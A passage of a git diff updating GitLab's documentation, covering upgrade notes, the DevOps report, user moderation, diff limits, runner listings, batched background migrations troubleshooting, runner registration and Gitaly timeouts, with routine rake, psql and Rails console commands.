1. Before running the final `sudo gitlab-rake db:migrate` command on the deploy node,
execute the following queries using the PostgreSQL console (or `sudo gitlab-psql`)
@@ -409,9 +449,18 @@ the zero-downtime upgrade:
```
If you have already run the final `sudo gitlab-rake db:migrate` command on the deploy node and have
-encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you can still
-follow the previous steps to complete the update.
+encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you will
+see the following error:
+
+```shell
+-- remove_column(:application_settings, :asset_proxy_whitelist)
+rake aborted!
+StandardError: An error has occurred, all later migrations canceled:
+PG::DependentObjectsStillExist: ERROR: cannot drop column asset_proxy_whitelist of table application_settings because other objects depend on it
+DETAIL: trigger trigger_0d588df444c8 on table application_settings depends on column asset_proxy_whitelist of table application_settings
+```
+To work around this bug, follow the previous steps to complete the update.
More details are available [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160).
### 13.6.0
@@ -468,7 +517,7 @@ So, if you are using multiple Rails servers and specifically upgrading from 13.0
all servers must first be upgraded to 13.1.Z before upgrading to 13.2.0 or later:
1. Ensure all GitLab web nodes are running GitLab 13.1.Z.
-1. Optionally, enable the `global_csrf_token` feature flag to enable new
+1. Enable the `global_csrf_token` feature flag to enable new
method of CSRF token generation:
```ruby
diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md
index e50bc1610ab..0a7057ffe97 100644
--- a/doc/update/patch_versions.md
+++ b/doc/update/patch_versions.md
@@ -129,3 +129,8 @@ sudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production
```
If all items are green, then congratulations upgrade complete!
+
+### 11. Make sure background migrations are finished
+
+[Check the status of background migrations](../user/admin_area/monitoring/background_migrations.md#check-the-status-of-background-migrations)
+and make sure they are finished.
diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md
index 6ca5e5034bf..89d8a5ea054 100644
--- a/doc/user/admin_area/analytics/dev_ops_report.md
+++ b/doc/user/admin_area/analytics/dev_ops_report.md
@@ -20,46 +20,49 @@ To see DevOps Report:
## DevOps Score
NOTE:
-Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature.
+To see the DevOps score, you must activate your GitLab instance's [Service Ping](../settings/usage_statistics.md#service-ping).
-The DevOps Score tab displays the usage of major GitLab features on your instance over
-the last 30 days, averaged over the number of billable users in that time period. It also
-provides a Lead score per feature, which is calculated based on GitLab analysis
-of top-performing instances based on [usage ping data](../settings/usage_statistics.md#usage-ping) that GitLab has
-collected. Your score is compared to the lead score of each feature and then expressed as a percentage at the bottom of said feature.
-Your overall **DevOps Score** is an average of your feature scores. You can use this score to compare your DevOps status to other organizations.
-
-The page also provides helpful links to articles and GitLab docs, to help you
-improve your scores.
+You can use the DevOps score to compare your DevOps status to other organizations.
-Usage ping data is aggregated on GitLab servers for analysis. Your usage
-information is **not sent** to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for data to be
-collected before this feature is available.
+The DevOps Score tab displays the usage of major GitLab features on your instance over
+the last 30 days, averaged over the number of billable users in that time period.
+You can also see the Leader usage score, calculated from top-performing instances based on
+[Service Ping data](../settings/usage_statistics.md#service-ping) that GitLab has collected.
+Your score is compared to the lead score of each feature and then expressed
+as a percentage at the bottom of said feature. Your overall **DevOps Score** is an average of your
+feature scores.
+
+Service Ping data is aggregated on GitLab servers for analysis. Your usage
+information is **not sent** to any other GitLab instances.
+If you have just started using GitLab, it might take a few weeks for data to be collected before this
+feature is available.
## DevOps Adoption **(ULTIMATE SELF)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta).
> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59267) in GitLab 14.0.
> - Enabled on GitLab.com.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-or-enable-devops-adoption). **(ULTIMATE SELF)**
+> - The Overview tab [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330401) in GitLab 14.1.
+> - DAST and SAST metrics [added](https://gitlab.com/gitlab-org/gitlab/-/issues/328033) in GitLab 14.1.
-The DevOps Adoption tab shows you which groups within your organization are using the most essential features of GitLab:
+DevOps Adoption shows you which groups in your organization are using the most essential features of GitLab:
- Dev
- - Issues
- - Merge Requests
- Approvals
- Code owners
+ - Issues
+ - Merge requests
- Sec
- - Scans
+ - DAST
+ - SAST
- Ops
- - Runners
- - Pipelines
- Deployments
+ - Pipelines
+ - Runners
-When managing groups in the UI, you can add your groups with the **Add group to table**
-button, in the top right hand section the page.
+To add your groups, in the top right-hand section the page, select **Add group to table**.
DevOps Adoption allows you to:
@@ -67,7 +70,7 @@ DevOps Adoption allows you to:
- Identify specific groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey.
- Find the groups that have adopted certain features and can provide guidance to other groups on how to use those features.
-![DevOps Report](img/admin_devops_adoption_v14_0.png)
+![DevOps Report](img/admin_devops_adoption_v14_1.png)
### Disable or enable DevOps Adoption
diff --git a/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png b/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png
deleted file mode 100644
index f4170b2938c..00000000000
--- a/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_1.png b/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_1.png
new file mode 100644
index 00000000000..79481e43e8e
--- /dev/null
+++ b/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_1.png
Binary files differ
diff --git a/doc/user/admin_area/analytics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md
deleted file mode 100644
index b906f9b8fa6..00000000000
--- a/doc/user/admin_area/analytics/user_cohorts.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../user_cohorts.md'
-remove_date: '2021-06-01'
----
-
-This document was moved to [another location](../user_cohorts.md).
-
-<!-- This redirect file can be deleted after <2021-06-01>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/admin_area/approving_users.md b/doc/user/admin_area/approving_users.md
index 3d9722035d5..2852f73ffc8 100644
--- a/doc/user/admin_area/approving_users.md
+++ b/doc/user/admin_area/approving_users.md
@@ -47,7 +47,8 @@ To approve or reject a user sign up:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select the **Pending approval** tab.
-1. In the user's row, select settings (**{settings}**).
+1. (Optional) Select a user.
+1. Select the **{settings}** **User administration** dropdown.
1. Select **Approve** or **Reject**.
Approving a user:
diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md
index dfb37cb8646..8c5ae2dfb47 100644
--- a/doc/user/admin_area/credentials_inventory.md
+++ b/doc/user/admin_area/credentials_inventory.md
@@ -38,7 +38,7 @@ The following is an example of the Credentials inventory page:
If you see a **Revoke** button, you can revoke that user's PAT. Whether you see a **Revoke** button depends on the token state, and if an expiration date has been set. For more information, see the following table:
-| Token state | [Token expiration enforced?](settings/account_and_limit_settings.md#do-not-enforce-personal-access-token-expiration) | Show Revoke button? | Comments |
+| Token state | [Token expiration enforced?](settings/account_and_limit_settings.md#allow-expired-personal-access-tokens-to-be-used) | Show Revoke button? | Comments |
|-------------|------------------------|--------------------|----------------------------------------------------------------------------|
| Active | Yes | Yes | Allows administrators to revoke the PAT, such as for a compromised account |
| Active | No | Yes | Allows administrators to revoke the PAT, such as for a compromised account |
diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md
index 6cf3c5bbd7d..12d143b3a13 100644
--- a/doc/user/admin_area/custom_project_templates.md
+++ b/doc/user/admin_area/custom_project_templates.md
@@ -9,36 +9,33 @@ type: reference
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2.
-GitLab administrators can configure the group where all the custom project
-templates are sourced.
+GitLab administrators can set a group to be the source of project templates that are
+selectable when a new project is created on the instance. These templates can be selected
+when you go to **New project > Create from template** and select the **Instance** tab.
-Every project directly under the group namespace will be
-available to the user if they have access to them. For example:
+Every project in the group, but not its subgroups, can be selected when a new project
+is created, based on the user's access permissions:
-- Public projects, in the group will be available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions)
+- Public projects can be selected by any signed-in user as a template for a new project,
+ if all enabled [project features](../project/settings/index.md#sharing-and-permissions)
except for GitLab Pages are set to **Everyone With Access**.
-- Private projects will be available only if the user is a member of the project.
+- Private projects can be selected only by users who are members of the projects.
Repository and database information that are copied over to each new project are
-identical to the data exported with the
-[GitLab Project Import/Export](../project/settings/import_export.md).
+identical to the data exported with the [GitLab Project Import/Export](../project/settings/import_export.md).
-NOTE:
-To set project templates at a group level,
-see [Custom group-level project templates](../group/custom_project_templates.md).
+To set project templates at the group level, see [Custom group-level project templates](../group/custom_project_templates.md).
-## Configuring
+## Select instance-level project template group
-GitLab administrators can configure a GitLab group that serves as template
-source for an entire GitLab instance:
+To select the group to use as the source for the project templates:
1. On the top bar, navigate to **Menu > Admin > Settings > Templates**.
1. Expand **Custom project templates**.
1. Select a group to use.
1. Select **Save changes**.
-NOTE:
-Projects below subgroups of the template group are **not** supported.
+Projects in subgroups of the template group are **not** included in the template list.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/diff_limits.md b/doc/user/admin_area/diff_limits.md
index 37fdb3ae195..4be1ace10aa 100644
--- a/doc/user/admin_area/diff_limits.md
+++ b/doc/user/admin_area/diff_limits.md
@@ -21,10 +21,11 @@ consumption of your instance. Keep this in mind when adjusting the maximum.
To speed the loading time of merge request views and branch comparison views
on your instance, you can configure three instance-level maximum values for diffs:
-- **Maximum diff patch size**: The total size, in bytes, of the entire diff.
-- **Maximum diff files**: The total number of files changed in a diff.
-- **Maximum diff files**: The total number of files changed in a diff. The default value is 1000.
-- **Maximum diff lines**: The total number of lines changed in a diff. The default value is 50,000.
+| Value | Definition | Default value | Maximum value |
+| ----- | ---------- | :-----------: | :-----------: |
+| **Maximum diff patch size** | The total size, in bytes, of the entire diff. | 200 KB | 500 KB |
+| **Maximum diff files** | The total number of files changed in a diff. | 1000 | 3000 |
+| **Maximum diff lines** | The total number of lines changed in a diff. | 50,000 | 100,000 |
When a diff reaches 10% of any of these values, the files are shown in a
collapsed view, with a link to expand the diff. Diffs that exceed any of the
@@ -35,7 +36,7 @@ To configure these values:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, select **Settings > General**.
1. Expand **Diff limits**.
-1. Enter a value for **Maximum diff patch size**, measured in bytes.
+1. Enter a value for the diff limit.
1. Select **Save changes**.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/img/index_runners_search_or_filter.png b/doc/user/admin_area/img/index_runners_search_or_filter.png
deleted file mode 100644
index 5176a1a39bf..00000000000
--- a/doc/user/admin_area/img/index_runners_search_or_filter.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/img/index_runners_search_or_filter_v14_1.png b/doc/user/admin_area/img/index_runners_search_or_filter_v14_1.png
new file mode 100644
index 00000000000..ab196a0ca9e
--- /dev/null
+++ b/doc/user/admin_area/img/index_runners_search_or_filter_v14_1.png
Binary files differ
diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md
index 2e4a8261c63..31fd1a3a0a1 100644
--- a/doc/user/admin_area/index.md
+++ b/doc/user/admin_area/index.md
@@ -160,7 +160,7 @@ You can impersonate a user in the following ways:
1. In the left sidebar, select **Overview > Users**.
1. From the list of users, select a user.
1. Select **Impersonate**.
-- With the API, using [impersonation tokens](../../api/README.md#impersonation-tokens).
+- With the API, using [impersonation tokens](../../api/index.md#impersonation-tokens).
All impersonation activities are [captured with audit events](../../administration/audit_events.md#impersonation-data).
@@ -276,21 +276,22 @@ To search runners' descriptions:
You can also filter runners by status, type, and tag. To filter:
1. Click in the **Search or filter results...** field.
-1. Select **status:**, **type:**, or **tag:**.
+1. Select **Status**, **Type**, or **Tags**.
1. Select or enter your search criteria.
-![Attributes of a runner, with the **Search or filter results...** field active](img/index_runners_search_or_filter.png)
+![Attributes of a runner, with the **Search or filter results...** field active](img/index_runners_search_or_filter_v14_1.png)
For each runner, the following attributes are listed:
| Attribute | Description |
|--------------|-------------|
-| Type | One or more of the following states: shared, group, specific, locked, or paused |
-| Runner token | Token used to identify the runner, and which the runner uses to communicate with the GitLab instance |
-| Description | Description given to the runner when it was created |
+| Type/State | One or more of the following states: shared, group, specific, locked, or paused |
+| Runner token | Partial token used to identify the runner, and which the runner uses to communicate with the GitLab instance |
+| Runner ID | Numerical ID of the runner |
+| Description | Description given to the runner |
| Version | GitLab Runner version |
| IP address | IP address of the host on which the runner is registered |
-| Projects | Projects to which the runner is assigned |
+| Projects | Number of projects to which the runner is assigned |
| Jobs | Total of jobs run by the runner |
| Tags | Tags associated with the runner |
| Last contact | Timestamp indicating when the runner last contacted the GitLab instance |
diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md
index 58876b87576..57f643b75c7 100644
--- a/doc/user/admin_area/license.md
+++ b/doc/user/admin_area/license.md
@@ -107,7 +107,7 @@ For GitLab self-managed instances, you have a 14-day grace period
before this occurs.
- To resume functionality, upload a new license.
-- To fall back to Free features, delete the expired license.
+- To fall back to Free features, delete all expired licenses.
### Remove a license
@@ -117,6 +117,8 @@ To remove a license from a self-managed instance:
1. On the left sidebar, select **License**.
1. Select **Remove license**.
+These steps may need to be repeated to completely remove all licenses, including those applied in the past.
+
## License history
You can upload and view more than one license, but only the latest license in the current date
diff --git a/doc/user/admin_area/moderate_users.md b/doc/user/admin_area/moderate_users.md
index 71e72cc630c..3889dd93d59 100644
--- a/doc/user/admin_area/moderate_users.md
+++ b/doc/user/admin_area/moderate_users.md
@@ -23,8 +23,9 @@ or directly from the Admin Area. To do this:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Overview > Users**.
-1. Select a user.
-1. Under the **Account** tab, select **Block user**.
+1. (Optional) Select a user.
+1. Select the **{settings}** **User administration** dropdown.
+1. Select **Block**.
A blocked user:
@@ -47,8 +48,9 @@ A blocked user can be unblocked from the Admin Area. To do this:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select on the **Blocked** tab.
-1. Select a user.
-1. Under the **Account** tab, select **Unblock user**.
+1. (Optional) Select a user.
+1. Select the **{settings}** **User administration** dropdown.
+1. Select **Unblock**.
Users can also be unblocked using the [GitLab API](../../api/users.md#unblock-user).
@@ -85,8 +87,9 @@ A user can be deactivated from the Admin Area. To do this:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Overview > Users**.
-1. Select a user.
-1. Under the **Account** tab, select **Deactivate user**.
+1. (Optional) Select a user.
+1. Select the **{settings}** **User administration** dropdown.
+1. Select **Deactivate**.
Please note that for the deactivation option to be visible to an admin, the user:
@@ -126,8 +129,9 @@ To do this:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select the **Deactivated** tab.
-1. Select a user.
-1. Under the **Account** tab, select **Activate user**.
+1. (Optional) Select a user.
+1. Select the **{settings}** **User administration** dropdown.
+1. Select **Activate**.
Users can also be activated using the [GitLab API](../../api/users.md#activate-user).
@@ -145,7 +149,7 @@ A deactivated user can also activate their account themselves by logging back in
GitLab administrators can ban users.
NOTE:
-This feature is behind a feature flag that is disabled by default. GitLab administrators
+This feature is behind a feature flag that is disabled by default. GitLab administrators
with access to the GitLab Rails console can [enable](../../administration/feature_flags.md)
this feature for your GitLab instance.
@@ -157,8 +161,9 @@ Users can be banned using the Admin Area. To do this:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Overview > Users**.
-1. Select a user.
-1. Under the **Account** tab, select **Ban user**.
+1. (Optional) Select a user.
+1. Select the **{settings}** **User administration** dropdown.
+1. Select **Ban user**.
NOTE:
This feature is a work in progress. Currently, banning a user
@@ -172,8 +177,9 @@ A banned user can be unbanned using the Admin Area. To do this:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Overview > Users**.
1. Select the **Banned** tab.
-1. Select a user.
-1. Under the **Account** tab, select **Unban user**.
+1. (Optional) Select a user.
+1. Select the **{settings}** **User administration** dropdown.
+1. Select **Unban user**.
NOTE:
Unbanning a user changes the user's state to active and consumes a
diff --git a/doc/user/admin_area/monitoring/background_migrations.md b/doc/user/admin_area/monitoring/background_migrations.md
index 50593959710..cbaa4b30cb7 100644
--- a/doc/user/admin_area/monitoring/background_migrations.md
+++ b/doc/user/admin_area/monitoring/background_migrations.md
@@ -4,7 +4,7 @@ group: Database
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Batched Background Migrations **(FREE SELF)**
+# Batched background migrations **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51332) in GitLab 13.11.
> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
@@ -21,16 +21,19 @@ are created by GitLab developers and run automatically on upgrade. However, such
limited in scope to help with migrating some `integer` database columns to `bigint`. This is needed to
prevent integer overflow for some tables.
-All migrations must be finished before upgrading GitLab. To check the status of the existing
-migrations, execute this command:
+## Check the status of background migrations **(FREE SELF)**
-```ruby
-Gitlab::Database::BackgroundMigration::BatchedMigration.pluck(:id, :table_name, :status)
-```
+All migrations must have a `Finished` status before updating GitLab. To check the status of the existing
+migrations:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Monitoring > Background Migrations**.
+
+ ![queued batched background migrations table](img/batched_background_migrations_queued_v14_0.png)
-## Enable or disable Batched Background Migrations **(FREE SELF)**
+## Enable or disable batched background migrations **(FREE SELF)**
-Batched Background Migrations is under development but ready for production use.
+Batched background migrations are under development but ready for production use.
It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
can opt to disable it.
@@ -63,7 +66,7 @@ To maximize throughput of batched background migrations (in terms of the number
## Enable or disable automatic batch size optimization **(FREE SELF)**
-Automatic batch size optimization for Batched Background Migrations is under development but ready for production use.
+Automatic batch size optimization for batched background migrations is under development but ready for production use.
It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
can opt to disable it.
@@ -79,3 +82,27 @@ To disable it:
```ruby
Feature.disable(:optimize_batched_migrations)
```
+
+## Troubleshooting
+
+### Database migrations failing because of batched background migration not finished
+
+When updating to GitLab 14.2 or later there might be a database migration failing with a message like:
+
+```plaintext
+StandardError: An error has occurred, all later migrations canceled:
+
+Expected batched background migration for the given configuration to be marked as 'finished', but it is 'active':
+ {:job_class_name=>"CopyColumnUsingBackgroundMigrationJob", :table_name=>"push_event_payloads", :column_name=>"event_id", :job_arguments=>[["event_id"], ["event_id_convert_to_bigint"]]}
+```
+
+To fix this error:
+
+1. Update to either 14.0.5 or 14.1.
+1. [Check the status](#check-the-status-of-background-migrations) of the batched background migration from the error message, and make sure it is listed as finished. If it is still active, either wait until it is done, or finalize it manually using the command suggested in the error, for example:
+
+```shell
+sudo gitlab-rake gitlab:background_migrations:finalize[CopyColumnUsingBackgroundMigrationJob,push_event_payloads,event_id,'[["event_id"]\, ["event_id_convert_to_bigint"]]']
+```
+
+1. You can now update to GitLab 14.2 or higher.
diff --git a/doc/user/admin_area/monitoring/img/batched_background_migrations_queued_v14_0.png b/doc/user/admin_area/monitoring/img/batched_background_migrations_queued_v14_0.png
new file mode 100644
index 00000000000..0b0792b5e7a
--- /dev/null
+++ b/doc/user/admin_area/monitoring/img/batched_background_migrations_queued_v14_0.png
Binary files differ
diff --git a/doc/user/admin_area/review_abuse_reports.md b/doc/user/admin_area/review_abuse_reports.md
index a179eb70453..7816d0648b2 100644
--- a/doc/user/admin_area/review_abuse_reports.md
+++ b/doc/user/admin_area/review_abuse_reports.md
@@ -14,7 +14,7 @@ reports in the Admin Area.
## Receiving notifications of abuse reports
-To receive notifications of new abuse reports by e-mail, follow these steps:
+To receive notifications of new abuse reports by email, follow these steps:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Settings > Reporting**.
diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md
index f2a849e1894..2b60ed5345b 100644
--- a/doc/user/admin_area/settings/account_and_limit_settings.md
+++ b/doc/user/admin_area/settings/account_and_limit_settings.md
@@ -199,7 +199,7 @@ Once a lifetime for personal access tokens is set, GitLab:
allowed lifetime. Three hours is given to allow administrators to change the allowed lifetime,
or remove it, before revocation takes place.
-## Enforce SSH key expiration **(ULTIMATE SELF)**
+## Allow expired SSH keys to be used **(ULTIMATE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250480) in GitLab 13.9.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/320970) in GitLab 14.0.
@@ -215,15 +215,14 @@ To allow the use of expired SSH keys:
Disabling SSH key expiration immediately enables all expired SSH keys.
-## Do not enforce Personal Access Token expiration **(ULTIMATE SELF)**
+## Allow expired Personal Access Tokens to be used **(ULTIMATE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214723) in GitLab Ultimate 13.1.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/296881) in GitLab 13.9.
-By default, expired personal access tokens (PATs) cannot be used.
-You can allow the use of expired PATs with the following steps:
+By default, expired personal access tokens (PATs) **are not usable**.
-To do this:
+To allow the use of expired PATs:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, select **Settings > General**.
diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md
index ffe969a6799..69d86259409 100644
--- a/doc/user/admin_area/settings/continuous_integration.md
+++ b/doc/user/admin_area/settings/continuous_integration.md
@@ -88,7 +88,7 @@ The setting at all levels is only available to GitLab administrators.
The default expiration time of the [job artifacts](../../../administration/job_artifacts.md)
can be set in the Admin Area of your GitLab instance. The syntax of duration is
-described in [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in)
+described in [`artifacts:expire_in`](../../../ci/yaml/index.md#artifactsexpire_in)
and the default value is `30 days`.
1. On the top bar, select **Menu >** **{admin}** **Admin**.
@@ -97,7 +97,7 @@ and the default value is `30 days`.
1. Click **Save changes** for the changes to take effect.
This setting is set per job and can be overridden in
-[`.gitlab-ci.yml`](../../../ci/yaml/README.md#artifactsexpire_in).
+[`.gitlab-ci.yml`](../../../ci/yaml/index.md#artifactsexpire_in).
To disable the expiration, set it to `0`. The default unit is in seconds.
NOTE:
@@ -195,8 +195,8 @@ As of June 22, 2020 the [value is set](../../gitlab_com/index.md#gitlab-cicd) to
## Protect CI/CD variables by default
-To set all new [CI/CD variables](../../../ci/variables/README.md) as
-[protected](../../../ci/variables/README.md#protect-a-cicd-variable) by default:
+To set all new [CI/CD variables](../../../ci/variables/index.md) as
+[protected](../../../ci/variables/index.md#protect-a-cicd-variable) by default:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Settings > CI/CD**.
@@ -214,7 +214,7 @@ of your GitLab instance (`.gitlab-ci.yml` if not set):
1. Input the new file and path in the **Default CI/CD configuration file** field.
1. Hit **Save changes** for the changes to take effect.
-It is also possible to specify a [custom CI/CD configuration file for a specific project](../../../ci/pipelines/settings.md#custom-cicd-configuration-file).
+It is also possible to specify a [custom CI/CD configuration file for a specific project](../../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file).
## Required pipeline configuration **(PREMIUM SELF)**
@@ -224,7 +224,7 @@ This feature is being re-evaluated in favor of a different
We recommend that users who haven't yet implemented this feature wait for
the new solution.
-You can set a [CI/CD template](../../../ci/examples/README.md#cicd-templates)
+You can set a [CI/CD template](../../../ci/examples/index.md#cicd-templates)
as a required pipeline configuration for all projects on a GitLab instance. You can
use a template from:
@@ -233,13 +233,13 @@ use a template from:
NOTE:
When you use a configuration defined in an instance template repository,
- nested [`include:`](../../../ci/yaml/README.md#include) keywords
+ nested [`include:`](../../../ci/yaml/index.md#include) keywords
(including `include:file`, `include:local`, `include:remote`, and `include:template`)
[do not work](https://gitlab.com/gitlab-org/gitlab/-/issues/35345).
The project CI/CD configuration merges into the required pipeline configuration when
a pipeline runs. The merged configuration is the same as if the required pipeline configuration
-added the project configuration with the [`include` keyword](../../../ci/yaml/README.md#include).
+added the project configuration with the [`include` keyword](../../../ci/yaml/index.md#include).
To view a project's full merged configuration, [View the merged YAML](../../../ci/pipeline_editor/index.md#view-expanded-configuration)
in the pipeline editor.
@@ -280,6 +280,45 @@ To set the maximum file size:
1. Enter the maximum file size, in bytes.
1. Click **Save size limits**.
+## Runner registration
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22225) in GitLab 14.1.
+> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)**
+
+GitLab administrators can adjust who is allowed to register runners, by showing and hiding areas of the UI.
+
+By default, all members of a project and group are able to register runners.
+
+To change this:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. Go to **Settings > CI/CD**.
+1. Expand the **Runner registration** section.
+1. Select the desired options.
+1. Click **Save changes**.
+
+When the registration sections are hidden in the UI, members of the project or group that need to register runners must contact the administrators.
+
+This feature is currently behind a feature flag.
+To enable it:
+
+**In Omnibus installations:**
+
+1. Enter the Rails console:
+
+ ```shell
+ sudo gitlab-rails console
+ ```
+
+1. Flip the switch and enable the feature flag:
+
+ ```ruby
+ Feature.enable(:runner_registration_control)
+ ```
+
## Troubleshooting
### 413 Request Entity Too Large
diff --git a/doc/user/admin_area/settings/gitaly_timeouts.md b/doc/user/admin_area/settings/gitaly_timeouts.md
index 6f488efee11..04887906c91 100644
--- a/doc/user/admin_area/settings/gitaly_timeouts.md
+++ b/doc/user/admin_area/settings/gitaly_timeouts.md
@@ -8,23 +8,20 @@ type: reference
# Gitaly timeouts **(FREE SELF)**
[Gitaly](../../../administration/gitaly/index.md) timeouts are configurable. The timeouts can be
-configured to make sure that long running Gitaly calls don't needlessly take up resources.
+configured to make sure that long-running Gitaly calls don't needlessly take up resources.
To access Gitaly timeout settings:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Settings > Preferences**.
-1. Expand the **Gitaly** section.
+1. Expand the **Gitaly timeouts** section.
## Available timeouts
-The following timeouts can be modified:
+The following timeouts are available.
-- **Default Timeout Period**. This timeout is the default for most Gitaly calls. It should be shorter than the
- worker timeout that can be configured for [Puma](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings).
- Used to make sure that Gitaly calls made within a web request cannot exceed the entire request timeout.
- Defaults to 55 seconds.
-
-- **Fast Timeout Period**. This is the timeout for very short Gitaly calls. Defaults to 10 seconds.
-- **Medium Timeout Period**. This timeout should be between the default and the fast timeout.
- Defaults to 30 seconds.
+| Timeout | Default | Description |
+|:--------|:-----------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| Default | 55 seconds | Timeout for most Gitaly calls (not enforced for `git` `fetch` and `push` operations, or Sidekiq jobs). For example, checking if a repository exists on disk. Makes sure that Gitaly calls made within a web request cannot exceed the entire request timeout. It should be shorter than the worker timeout that can be configured for [Puma](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings). If a Gitaly call timeout exceeds the worker timeout, the remaining time from the worker timeout is used to avoid having to terminate the worker. |
+| Fast | 10 seconds | Timeout for fast Gitaly operations used within requests, sometimes multiple times. For example, checking if a repository exists on disk. If fast operations exceed this threshold, there may be a problem with a storage shard. Failing fast can help maintain the stability of the GitLab instance. |
+| Medium | 30 seconds | Timeout for Gitaly operations that should be fast (possibly within requests) but preferably not used multiple times within a request. For example, loading blobs. Timeout that should be set between Default and Fast. |
diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md
index d7c96c295f6..d2f99a51ec3 100644
--- a/doc/user/admin_area/settings/help_page.md
+++ b/doc/user/admin_area/settings/help_page.md
@@ -5,36 +5,58 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Customizing the 'Help' and login page messages
+# Customize the Help and sign-in page messages
In large organizations, it is useful to have information about who to contact or where
-to go for help. You can customize and display this information on the GitLab server's
-`/help` page and on the GitLab login page.
+to go for help. You can customize and display this information on the GitLab `/help` page and on
+the GitLab sign-in page.
-## Adding a help message to the help page
+## Add a help message to the Help page
-You can add a help message, which is shown on the GitLab `/help` page (e.g.,
-<https://gitlab.com/help>) in a new section at the top of the `/help` page:
+You can add a help message, which is shown at the top of the GitLab `/help` page (for example,
+<https://gitlab.com/help>):
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**.
